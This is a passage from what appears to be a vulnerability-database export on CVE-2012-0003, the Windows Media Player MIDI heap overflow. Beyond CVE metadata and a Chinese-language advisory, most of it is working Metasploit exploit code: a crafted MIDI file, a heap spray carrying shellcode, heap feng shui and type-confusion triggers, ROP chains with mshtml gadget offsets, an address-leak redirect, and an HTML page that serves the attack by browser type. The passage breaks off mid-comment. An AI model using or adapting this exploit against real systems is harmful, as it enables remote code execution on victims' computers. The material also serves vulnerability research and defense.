\"corruption\" (default) | \"leak\"\n def build_element(element_name, my_target, type=\"corruption\")\n dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack(\"V\"))\n element = ''\n\n if my_target.name =~ /IE 8/\n max = 63 # Number of attributes for IE 8\n index = 1 # Where we want to confuse the type\n else\n max = 55 # Number of attributes for before IE 8\n index = 0 # Where we want to confuse the type\n end\n\n element << \"var #{element_name} = document.createElement(\\\"select\\\")\" + \"\\n\"\n\n # Build attributes\n 0.upto(max) do |i|\n case type\n when \"corruption\"\n obj = (i==index) ? \"unescape(\\\"#{dst}\\\")\" : \"alert\"\n else #leak\n obj = \"alert\"\n end\n element << \"#{element_name}.w#{i.to_s} = #{obj}\" + \"\\n\"\n end\n\n return element\n end\n\n # Feng Shui and triggering Steps:\n # 1. Run the garbage collector before allocations\n # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)\n # 3. Make holes\n # 4. Let windows media play the crafted midi file and corrupt the heap\n # 5. Force the using of the confused tagVARIANT.\n def build_trigger(my_target, type=\"corruption\")\n js_trigger = build_trigger_fn(my_target, type)\n select_element = build_element('selob', my_target, type)\n\n trigger = <<-JS\n var heap = new heapLib.ie();\n #{select_element}\n var clones = new Array(1000);\n\n function feng_shui() {\n heap.gc();\n\n var i = 0;\n while (i < 1000) {\n clones[i] = selob.cloneNode(true)\n i = i + 1;\n }\n\n var j = 0;\n while (j < 1000) {\n delete clones[j];\n CollectGarbage();\n j = j + 2;\n }\n }\n\n feng_shui();\n\n #{js_trigger}\n JS\n\n trigger = heaplib(trigger, {:noobfu => true})\n return trigger\n end\n\n # type = \"corruption\" (default) | \"leak\"\n def build_trigger_fn(my_target, type=\"corruption\")\n js_trigger=\"\"\n case type\n when \"corruption\"\n js_trigger = js_trigger_fn_corruption(my_target)\n when \"leak\"\n js_trigger = js_trigger_fn_leak(my_target)\n end\n return js_trigger\n end\n\n # Redoing the feng shui if fails makes it reliable\n def js_trigger_fn_corruption(my_target)\n attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'\n\n js = %Q|\n function trigger(){\n var k = 999;\n while (k > 0) {\n if (typeof(clones[k].#{attribute}) == \"string\") {\n } else {\n clones[k].#{attribute}('come on!');\n }\n k = k - 2;\n }\n feng_shui();\n document.audio.Play();\n }\n |\n\n return js\n end\n\n # Redoing the feng shui if fails makes it reliable\n def js_trigger_fn_leak(my_target)\n js_trigger = \"\"\n if my_target.name == 'IE 8 on Windows XP SP3'\n js_trigger = <<-JSTRIGGER\n function trigger(){\n var k = 999;\n while (k > 0) {\n if (typeof(clones[k].w1) == \"string\") {\n var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)\n document.location = \"#{get_resource.chomp(\"/\")}/#{@second_stage_url}\" + \"?#{@leak_param}=\" + leak\n return;\n }\n k = k - 2;\n }\n feng_shui();\n document.audio.Play();\n }\n JSTRIGGER\n end\n\n return js_trigger\n end\n\n def create_rop(t, p)\n # MSVCRT.dll ROP\n padding = ''\n padding << [0x77C4CA70].pack(\"V*\") #ADD ESP,0C; RET\n padding << [t['StackPivot']].pack(\"V*\")\n padding << [0x77C4CA73].pack(\"V*\") * 12 #ROP NOPs\n generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})\n end\n\n def create_info_leak_rop(my_target, leak = 0x0)\n base = (leak == 0x00) ? 0x63580000 : (leak - @offset)\n print_status(\"Image base of mshtml: 0x%x\" %base)\n\n # Generate the gadgets based on offset\n rop_gadgets = ''\n case @offset\n when 0xd92c8\n rop_gadgets =\n [\n :junk,\n :junk,\n 0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14\n :junk,\n 0x247e5d, # ROP NOPs\n 0x247e5d,\n 0x247e5d,\n 0x247e5d,\n 0x247e5d,\n 0x247e5d,\n 0x247e5d,\n 0x247e5c, # POP ESI # RETN [mshtml.dll]\n 0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]\n 0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]\n 0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]\n :junk,\n 0x3460c, # POP EBP # RETN [mshtml.dll]\n :junk,\n :junk,\n 0x23ef79, # & jmp esp [mshtml.dll]\n 0x189303, # POP EBX # RETN [mshtml.dll]\n :ebx, # 0x00000201-> ebx\n 0x20437c, # POP EDX # RETN [mshtml.dll]\n :edx, # 0x00000040-> edx\n 0xc277, # POP ECX # RETN [mshtml.dll]\n 0x53a47d, # &Writable location [mshtml.dll]\n 0x4a33e2, # POP EDI # RETN [mshtml.dll]\n 0x4b601, # RETN (ROP NOP) [mshtml.dll]\n 0x33fbc6, # POP EAX # RETN [mshtml.dll]\n :nop,\n 0x52c718 # PUSHAD # RETN [mshtml.dll]\n ]\n\n when 0xbf190\n rop_gadgets =\n [\n :junk,\n 0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14\n :junk,\n 0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7\n :junk,\n :junk,\n :junk,\n :junk,\n :junk,\n 0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]\n 0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]\n 0x3dc745, # POP ESI # RETN [mshtml.dll]\n :neg, # 0xffffffff\n 0x2fb18b, # INC ESI # RETN [mshtml.dll]\n 0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]\n 0x4aada7, # POP EBP # RETN [mshtml.dll]\n :junk, # Compensates RETN\n :junk, # Compensates RETN\n 0x1ffc54, # & jmp esp [mshtml.dll]\n 0x4498a7, # POP EBX # RETN [mshtml.dll]\n :ebx, # 0x00000800: 0x00000201-> ebx\n 0x24cce4, # POP EDX # RETN [mshtml.dll]\n :edx, # 0x00000040-> edx\n 0x158306, # POP ECX # RETN [mshtml.dll]\n 0x535098, # &Writable location [mshtml.dll]\n 0x1cf217, # POP EDI # RETN [mshtml.dll]\n 0xa0001, # RETN (ROP NOP) [mshtml.dll]\n 0x349f9b, # POP EAX # RETN [mshtml.dll]\n :nop,\n 0x2afbe8 # PUSHAD # RETN [mshtml.dll]\n ]\n end\n\n nops = make_nops(4).unpack(\"L\")[0].to_i\n\n rop_gadgets.map! { |e|\n if e == :junk\n rand_text(4).unpack(\"L\")[0].to_i\n elsif e == :neg\n 0xffffffff\n elsif e == :ebx\n 0x00000800\n elsif e == :edx\n 0x00000040\n elsif e == :nop\n nops\n else\n base + e\n end\n }\n\n chain = rop_gadgets.pack('V*')\n return chain\n end\nend\n", "metasploitReliability": "", "metasploitHistory": ""}
{"cve": [{"lastseen": "2021-02-02T05:59:43", "description": "Unspecified vulnerability in winmm.dll in Windows Multimedia Library in Windows Media Player (WMP) in Microsoft Windows XP SP2 and SP3, Server 2003 SP2, Vista SP2, and Server 2008 SP2 allows remote attackers to execute arbitrary code via a crafted MIDI file, aka \"MIDI Remote Code Execution Vulnerability.\"", "edition": 5, "cvss3": {}, "published": "2012-01-10T21:55:00", "title": "CVE-2012-0003", "type": "cve", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0003"], "modified": "2020-09-28T12:58:00", "cpe": ["cpe:/o:microsoft:windows_server_2003:*", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_xp:2005", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_xp:*", "cpe:/o:microsoft:windows_7:-"], "id": "CVE-2012-0003", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0003", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp3:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2003:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:x86:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:2005:sp3:media_center:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:x32:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:x64:*:*:*:*:*"]}], "seebug": [{"lastseen": "2017-11-19T17:55:37", "description": "CVE-2012-0003\r\n\r\nMicrosoft Windows\u662f\u5fae\u8f6f\u53d1\u5e03\u7684\u975e\u5e38\u6d41\u884c\u7684\u64cd\u4f5c\u7cfb\u7edf\u3002Windows Media Player\u662f\u7cfb\u7edf\u7684\u591a\u5a92\u4f53\u64ad\u653e\u7ec4\u4ef6\u3002\r\n\r\nWMP\u5728\u5904\u7406\u7578\u5f62\u7ed3\u6784\u7684MIDI\u6570\u636e\u65f6\u5b58\u5728\u5185\u5b58\u7834\u574f\u6f0f\u6d1e\u3002\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u901a\u8fc7\u8bf1\u4f7f\u7528\u6237\u8bbf\u95ee\u6076\u610f\u7f51\u9875\u63a7\u5236\u7528\u6237\u7cfb\u7edf\u3002\r\n0\r\nMicrosoft Windows XP Professional\r\nMicrosoft Windows XP Home Edition\r\nMicrosoft Windows Vista\r\nMicrosoft Windows Storage Server 2003\r\nMicrosoft Windows Server 2008\r\nMicrosoft Windows Server 2003 Web Edition\r\nMicrosoft Windows Server 2003 Standard Edition\r\nMicrosoft Windows Server 2003 Enterprise Edition\r\nMicrosoft Windows Server 2003 Datacenter Edition\r\nMicrosoft Windows 7\r\n\u4e34\u65f6\u89e3\u51b3\u65b9\u6cd5\uff1a\r\n\r\n* \u7981\u7528MIDI\u89e3\u6790\r\n\r\n\u5382\u5546\u8865\u4e01\uff1a\r\n\r\nMicrosoft\r\n---------\r\nMicrosoft\u5df2\u7ecf\u4e3a\u6b64\u53d1\u5e03\u4e86\u4e00\u4e2a\u5b89\u5168\u516c\u544a\uff08MS12-004\uff09\u4ee5\u53ca\u76f8\u5e94\u8865\u4e01:\r\n\r\nMS12-004\uff1aVulnerabilities in Windows Media Could Allow Remote Code Execution (2636391)\r\n\r\n\u94fe\u63a5\uff1ahttp://www.microsoft.com/technet/security/bulletin/MS12-004.asp", "published": "2012-01-30T00:00:00", "type": "seebug", "title": "Microsoft Windows Media Player \u2018winmm.dll\u2019 MIDI\u6587\u4ef6\u89e3\u6790\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2012-0003)", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "modified": "2012-01-30T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-30052", "id": "SSV:30052", "sourceData": "\n http://sebug.net/vuldb/ssvid-30051\r\nhttp://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-30052", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T14:42:23", "description": "No description provided by source.", "published": "2014-07-01T00:00:00", "title": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2012-0003"], "modified": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-72533", "id": "SSV:72533", "sourceData": "\n ##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = NormalRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\r\n\r\n\tdef initialize(info={})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a heap overflow vulnerability in the Windows Multimedia\r\n\t\t\t\tLibrary (winmm.dll). The vulnerability occurs when parsing specially crafted\r\n\t\t\t\tMIDI files. Remote code execution can be achieved by using Windows Media Player's\r\n\t\t\t\tActiveX control.\r\n\r\n\t\t\t\t\tExploitation is done by supplying a specially crafted MIDI file with\r\n\t\t\t\tspecific events, causing the offset calculation being higher than how much is\r\n\t\t\t\tavailable on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing\r\n\t\t\t\tus to either "inc al" or "dec al" a byte. This can be used to corrupt an array\r\n\t\t\t\t(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,\r\n\t\t\t\twhich leverages remote code execution under the context of the user.\r\n\r\n\t\t\t\t\tAt this time, for IE 8 target, JRE (Java Runtime Environment) is required\r\n\t\t\t\tto bypass DEP (Data Execution Prevention).\r\n\r\n\t\t\t\t\tNote: Based on our testing, the vulnerability does not seem to trigger when\r\n\t\t\t\tthe victim machine is operated via rdesktop.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'Shane Garrett', #Initial discovery (IBM X-Force)\r\n\t\t\t\t\t'juan vazquez',\r\n\t\t\t\t\t'sinn3r',\r\n\t\t\t\t],\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'MSB', 'MS12-004'],\r\n\t\t\t\t\t[ 'CVE', '2012-0003' ],\r\n\t\t\t\t\t[ 'OSVDB', '78210'],\r\n\t\t\t\t\t[ 'BID', '51292'],\r\n\t\t\t\t\t[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],\r\n\t\t\t\t],\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024,\r\n\t\t\t\t},\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => "process",\r\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f',\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'Automatic', {} ],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 6 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Rop' => false,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c0c0c\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 7 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Rop' => false,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c0c0c\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[\r\n\t\t\t\t\t\t'IE 8 on Windows XP SP3',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t# xchg ecx,esp\r\n\t\t\t\t\t\t\t# or byte ptr [eax],al\r\n\t\t\t\t\t\t\t# add byte ptr [edi+5Eh],bl\r\n\t\t\t\t\t\t\t# ret 8\r\n\t\t\t\t\t\t\t# From IMAGEHLP\r\n\t\t\t\t\t\t\t'Rop' => true,\r\n\t\t\t\t\t\t\t'StackPivot' => 0x76C9B4C2,\r\n\t\t\t\t\t\t\t'DispatchDst' => 0x0c0c1be4\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'DisclosureDate' => "Jan 10 2012",\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\r\n\t\t\t], self.class)\r\n\r\n\tend\r\n\r\n\tdef get_target(request)\r\n\t\tagent = request.headers['User-Agent']\r\n\t\tvprint_status("Request from: #{agent}")\r\n\r\n\t\tif agent =~ /NT 5\\.1/ and agent =~ /MSIE 6\\.0/\r\n\t\t\t#Windows XP SP3 + IE 6.0\r\n\t\t\treturn targets[1]\r\n\t\telsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7\\.0/\r\n\t\t\t#Windows XP SP3 + IE 7.0\r\n\t\t\treturn targets[2]\r\n\t\telsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 8\\.0/\r\n\t\t\t#Windows XP SP3 + IE 8.0 + JRE6\r\n\t\t\treturn targets[3]\r\n\t\telse\r\n\t\t\treturn nil\r\n\t\tend\r\n\tend\r\n\r\n\tdef get_midi\r\n\t\t# MIDI Fileformat Reference:\r\n\t\t# http://www.sonicspot.com/guide/midifiles.html\r\n\t\t#\r\n\t\t# Event Types:\r\n\t\t# 0x08 = Note Off (when MIDI key is released)\r\n\t\t# 0x09 = Note On (when MIDI key is pressed)\r\n\t\t# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)\r\n\t\t# 0x0B = Controller Event (MIDI channels state)\r\n\t\t# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)\r\n\t\t# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)\r\n\t\t# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)\r\n\t\t# 0x0F = Meta Events (not sent or received over a midi port)\r\n\r\n\t\t# Structure:\r\n\t\t# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)\r\n\t\t# Problem:\r\n\t\t# Windows Media Player fails to manage Note On and Note Off Events\r\n\r\n\t\t# Track Chunk Data\r\n\t\ttc = "\\x00\\xFF\\x03\\x0D\\x44\\x72\\x75\\x6D"\r\n\t\t# Meta Event - Sequence/Track Name\r\n\t\ttc << "\\x73\\x20\\x20\\x20\\x28\\x42\\x42\\x29\\x00"\r\n\t\t# Midi Channel Event - Program Change\r\n\t\ttc << "\\x00\\xC9\\x28"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << "\\x00\\xB9\\x07\\x64"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << "\\x00\\xB9\\x0A\\x40"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << "\\x00\\xB9\\x7B\\x00"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << "\\x00\\xB9\\x5B\\x28"\r\n\t\t# Midi Channel Event - Controller\r\n\t\ttc << "\\x00\\xB9\\x5D\\x00"\r\n\t\t# Midi Channel Event - Note On\r\n\t\ttc << "\\x85\\x50\\x99\\x23\\x7F"\r\n\r\n\t\t# Corruption events\r\n\t\t# Midi Channel Event - Note On\r\n\t\ttc << "\\x00\\x9F\\xb2\\x73"\r\n\t\t# Ends Corruption events\r\n\r\n\t\t# Meta Event - End Of Track\r\n\t\ttc << "\\x00\\xFF\\x2F\\x00"\r\n\t\tm = ''\r\n\t\t# HEADERCHUNK Header\r\n\t\tm << "MThd" # Header\r\n\t\tm << "\\x00\\x00\\x00\\x06" # Chunk size\r\n\t\tm << "\\x00\\x00" # Format Type\r\n\t\tm << "\\x00\\x01" # Number of tracks\r\n\t\tm << "\\x00\\x60" # Time division\r\n\t\t# TRACKCHUNK header\r\n\t\tm << "MTrk" # Header\r\n\t\tm << [tc.length].pack('N')\r\n\t\tm << tc\r\n\r\n\t\tmidi_name = "test_case.mid"\r\n\r\n\t\treturn midi_name, m\r\n\tend\r\n\r\n\tdef on_request_uri(cli, request)\r\n\r\n\t\tif request.uri =~ /\\.mid$/i\r\n\t\t\tprint_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")\r\n\t\t\tsend_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t#Set default target\r\n\t\tmy_target = target\r\n\r\n\t\t#If user chooses automatic target, we choose one based on user agent\r\n\t\tif my_target.name =~ /Automatic/\r\n\t\t\tmy_target = get_target(request)\r\n\t\t\tif my_target.nil?\r\n\t\t\t\tsend_not_found(cli)\r\n\t\t\t\tprint_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\t\t\tvprint_status("Target selected: #{my_target.name}")\r\n\t\tend\r\n\r\n\t\tmidi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource\r\n\t\tmidi_uri << "/#{@m_name}"\r\n\r\n\t\tspray = build_spray(my_target)\r\n\r\n\t\tif datastore['OBFUSCATE']\r\n\t\t\tspray = ::Rex::Exploitation::JSObfu.new(spray)\r\n\t\t\tspray.obfuscate\r\n\t\tend\r\n\r\n\t\ttrigger = build_trigger(my_target)\r\n\t\ttrigger_fn = "trigger"\r\n\r\n\t\tif datastore['OBFUSCATE']\r\n\t\t\ttrigger = ::Rex::Exploitation::JSObfu.new(trigger)\r\n\t\t\ttrigger.obfuscate\r\n\t\t\ttrigger_fn = find_trigger_fn(trigger.to_s)\r\n\t\tend\r\n\r\n\t\thtml = %Q|\r\n\t\t<html>\r\n\t\t<head>\r\n\t\t<script language='javascript'>\r\n\t\t\t#{spray}\r\n\t\t</script>\r\n\t\t<script language='javascript'>\r\n\t\t\t#{trigger}\r\n\t\t</script>\r\n\t\t<script for=audio event=PlayStateChange(oldState,newState)>\r\n\t\t\tif (oldState == 3 && newState == 0) {\r\n\t\t\t\t#{trigger_fn}();\r\n\t\t\t}\r\n\t\t</script>\r\n\t\t</head>\r\n\t\t<body>\r\n\t\t\t<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">\r\n\t\t\t\t<param name="fileName" value="#{midi_uri}">\r\n\t\t\t\t<param name="SendPlayStateChangeEvents" value="true">\r\n\t\t\t\t<param NAME="AutoStart" value="True">\r\n\t\t\t\t<param name="uiMode" value="mini">\r\n\t\t\t\t<param name="Volume" value="-300">\r\n\t\t\t</object>\r\n\t\t</body>\r\n\t\t</html>\r\n\t\t|\r\n\r\n\t\thtml = html.gsub(/^\\t\\t/, '')\r\n\r\n\t\tprint_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")\r\n\t\tsend_response(cli, html, {'Content-Type'=>'text/html'})\r\n\tend\r\n\r\n\tdef exploit\r\n\t\t@m_name, @midi = get_midi\r\n\t\tsuper\r\n\tend\r\n\r\n\tdef build_spray(my_target)\r\n\r\n\t\t# Extract string based on target\r\n\t\tif my_target.name == 'IE 8 on Windows XP SP3'\r\n\t\t\tjs_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"\r\n\t\telse\r\n\t\t\tjs_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"\r\n\t\tend\r\n\r\n\t\t# Build shellcode based on Rop requirement\r\n\t\tif my_target['Rop']\r\n\t\t\tcode = create_rop_chain(my_target)\r\n\t\t\tcode << payload.encoded\r\n\t\t\tshellcode = Rex::Text.to_unescape(code)\r\n\t\telse\r\n\t\t\tcode = payload.encoded\r\n\t\t\tshellcode = Rex::Text.to_unescape(code)\r\n\t\tend\r\n\r\n\t\t# 1. Create big block of nops\r\n\t\t# 2. Compose one block which is nops + shellcode\r\n\t\t# 3. Repeat the block\r\n\t\t# 4. Extract string from the big block\r\n\t\t# 5. Spray\r\n\t\tspray = <<-JS\r\n\t\tvar heap_obj = new heapLib.ie(0x10000);\r\n\r\n\t\tvar code = unescape("#{shellcode}");\r\n\t\tvar nops = unescape("%u0c0c%u0c0c");\r\n\r\n\t\twhile (nops.length < 0x1000) nops+= nops;\r\n\r\n\t\tvar shellcode = nops.substring(0,0x800 - code.length) + code;\r\n\r\n\t\twhile (shellcode.length < 0x40000) shellcode += shellcode;\r\n\r\n\t\t#{js_extract_str}\r\n\r\n\t\theap_obj.gc();\r\n\t\tfor (var i=0; i < 600; i++) {\r\n\t\t\theap_obj.alloc(block);\r\n\t\t}\r\n\r\n\t\tJS\r\n\r\n\t\tspray = heaplib(spray, {:noobfu => true})\r\n\t\treturn spray\r\n\tend\r\n\r\n\t# Build the JavaScript string for the attributes\r\n\tdef build_element(element_name, my_target)\r\n\t\tdst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))\r\n\t\telement = ''\r\n\r\n\t\tif my_target.name =~ /IE 8/\r\n\t\t\tmax = 63 # Number of attributes for IE 8\r\n\t\t\tindex = 1 # Where we want to confuse the type\r\n\t\telse\r\n\t\t\tmax = 55 # Number of attributes for before IE 8\r\n\t\t\tindex = 0 # Where we want to confuse the type\r\n\t\tend\r\n\r\n\t\telement << "var #{element_name} = document.createElement(\\"select\\")" + "\\n"\r\n\r\n\t\t# Build attributes\r\n\t\t0.upto(max) do |i|\r\n\t\t\tobj = (i==index) ? "unescape(\\"#{dst}\\")" : "alert"\r\n\t\t\telement << "#{element_name}.w#{i.to_s} = #{obj}" + "\\n"\r\n\t\tend\r\n\r\n\t\treturn element\r\n\tend\r\n\r\n\t# Feng Shui and triggering Steps:\r\n\t# 1. Run the garbage collector before allocations\r\n\t# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)\r\n\t# 3. Make holes\r\n\t# 4. Let windows media play the crafted midi file and corrupt the heap\r\n\t# 5. Force the using of the confused tagVARIANT.\r\n\tdef build_trigger(my_target)\r\n\r\n\t\tif my_target.name == 'IE 8 on Windows XP SP3'\r\n\r\n\t\t\t# Redoing the feng shui if fails makes it reliable\r\n\t\t\tjs_trigger = <<-JSTRIGGER\r\n\t\t\tfunction trigger(){\r\n\t\t\t\tvar k = 999;\r\n\t\t\t\twhile (k > 0) {\r\n\t\t\t\t\tif (typeof(clones[k].w1) == "string") {\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tclones[k].w1('come on!');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tk = k - 2;\r\n\t\t\t\t}\r\n\t\t\t\tfeng_shui();\r\n\t\t\t\tdocument.audio.Play();\r\n\t\t\t}\r\n\t\t\tJSTRIGGER\r\n\r\n\t\t\tselect_element = build_element('selob', my_target)\r\n\t\telse\r\n\r\n\t\t\tjs_trigger = <<-JSTRIGGER\r\n\t\t\tfunction trigger(){\r\n\t\t\t\tvar k = 999;\r\n\t\t\t\twhile (k > 0) {\r\n\t\t\t\t\tif (typeof(clones[k].w0) == "string") {\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tclones[k].w0('come on!');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tk = k - 2;\r\n\t\t\t\t}\r\n\t\t\t\tfeng_shui();\r\n\t\t\t\tdocument.audio.Play();\r\n\t\t\t}\r\n\t\t\tJSTRIGGER\r\n\r\n\t\t\tselect_element = build_element('selob', my_target)\r\n\t\tend\r\n\r\n\t\ttrigger = <<-JS\r\n\t\t\tvar heap = new heapLib.ie();\r\n\t\t\t#{select_element}\r\n\t\t\tvar clones=new Array(1000);\r\n\r\n\t\t\tfunction feng_shui() {\r\n\r\n\t\t\t\theap.gc();\r\n\r\n\t\t\t\tvar i = 0;\r\n\t\t\t\twhile (i < 1000) {\r\n\t\t\t\t\tclones[i] = selob.cloneNode(true)\r\n\t\t\t\t\ti = i + 1;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tvar j = 0;\r\n\t\t\t\twhile (j < 1000) {\r\n\t\t\t\t\tdelete clones[j];\r\n\t\t\t\t\tCollectGarbage();\r\n\t\t\t\t\tj = j + 2;\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t\t\tfeng_shui();\r\n\r\n\t\t\t#{js_trigger}\r\n\t\tJS\r\n\r\n\t\ttrigger = heaplib(trigger, {:noobfu => true})\r\n\t\treturn trigger\r\n\tend\r\n\r\n\tdef find_trigger_fn(trigger)\r\n\t\tfns = trigger.scan(/function ([a-zA-Z0-9_]+)\\(\\)/)\r\n\t\tif fns.nil? or fns.empty?\r\n\t\t\treturn "trigger"\r\n\t\telse\r\n\t\t\treturn fns.last.first\r\n\t\tend\r\n\t\treturn "trigger"\r\n\tend\r\n\r\n\tdef junk(n=1)\r\n\t\ttmp = []\r\n\t\tvalue = rand_text(4).unpack("L")[0].to_i\r\n\t\tn.times { tmp << value }\r\n\t\treturn tmp\r\n\tend\r\n\r\n\t# ROP chain copied from 